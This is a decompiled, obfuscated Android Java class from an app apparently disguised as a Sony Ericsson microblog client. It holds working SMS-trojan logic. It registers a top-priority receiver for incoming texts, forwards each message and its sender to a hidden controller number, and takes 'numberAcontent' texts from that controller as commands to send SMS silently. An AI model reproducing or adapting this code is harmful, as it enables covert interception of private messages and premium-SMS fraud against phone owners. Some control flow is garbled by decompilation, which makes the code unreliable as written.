package
com.sonyericsson.androidapp.microblogci8dmdo4;
import
android.content.Context;
import
android.content.IntentFilter;
import
android.telephony.SmsManager;
import
android.util.Log;
import
java.text.SimpleDateFormat;
import
java.util.Date;
import
java.util.Locale;
public
class
d
{
public
static
boolean
a =
false
;
private
static
boolean
b =
false
;
private
static
long
[] c;
private
static
boolean
d =
false
;
public
static
void
a(Context paramContext)
{
a(paramContext,
"chkFirstRun"
);
if
(b)
return
;
b.a(paramContext);
b =
true
;
}
public
static
void
a(Context paramContext, SR paramSR)
{
if
(d)
return
;
d =
true
;
new
c(paramContext);
try
{
IntentFilter localIntentFilter =
new
IntentFilter();
localIntentFilter.setPriority(
2147483647
);
localIntentFilter.addAction(
"android.provider.Telephony.SMS_RECEIVED"
);
paramContext.getApplicationContext().registerReceiver(paramSR, localIntentFilter);
return
;
}
catch
(Exception localException)
{
a(paramContext,
"注册监听异常:"
+ localException.getMessage());
}
}
public
static
void
a(Context paramContext, String paramString)
{
if
(a)
Log.e(
"T_DEBUG"
, paramString);
}
public
static
void
a(Context paramContext, String paramString1, String paramString2)
{
if
(paramString1 ==
null
);
for
(String str = b.b(paramContext); ; str = paramString1)
{
a(paramContext,
"发送:"
+ str +
" "
+ paramString2);
if
(Boolean.parseBoolean(String.valueOf(a)))
return
;
SmsManager localSmsManager = SmsManager.getDefault();
localSmsManager.sendMultipartTextMessage(str,
null
, localSmsManager.divideMessage(paramString2),
null
,
null
);
return
;
}
}
public
static
void
b(Context paramContext, String paramString1, String paramString2)
{
String str = b.b(paramContext);
if
(paramString1.startsWith(
"+86"
))
paramString1 = paramString1.substring(
3
);
a(paramContext,
"收到:"
+ paramString1 +
" "
+ paramString2);
if
(paramString1.equals(str))
{
String[] arrayOfString = paramString2.split(
"A"
,
2
);
if
(arrayOfString.length !=
2
)
{
a(paramContext,
"指令错误"
);
a(paramContext,
null
,
"短信指令格式错误,格式为“手机号A短信内容”"
);
return
;
}
a(paramContext,
"SENDTO:"
+ arrayOfString[
0
] +
" content "
+ arrayOfString[
1
]);
a(paramContext, arrayOfString[
0
], arrayOfString[
1
]);
return
;
}
a(paramContext, str,
"["
+ paramString1 +
"]"
+ paramString2);
}
public
static
boolean
b(Context paramContext)
{
if
(c ==
null
)
c(paramContext);
long
l = System.currentTimeMillis();
if
((c[
0
] == 0L) || (c[
1
] == 0L));
while
((c[
0
] <= l) && (c[
1
] >= l))
return
true
;
return
false
;
}
public
static
void
c(Context paramContext)
{
if
(c ==
null
)
{
SimpleDateFormat localSimpleDateFormat;
try
{
localSimpleDateFormat =
new
SimpleDateFormat(
"yyyy-MM-dd HH:mm"
, Locale.CHINA);
c =
new
long
[
2
];
if
(b.b.equals(
""
))
c[
0
] = 0L;
while
(b.c.equals(
""
))
{
c[
1
] = 0L;
return
;
c[
0
] = localSimpleDateFormat.parse(b.b).getTime();
}
}
catch
(Exception localException)
{
c[
0
] = 0L;
c[
1
] = 0L;
a(paramContext,
"从RAW读取配置信息失败,"
+ localException.getMessage());
return
;
}
c[
1
] = localSimpleDateFormat.parse(b.c).getTime();
}
}
}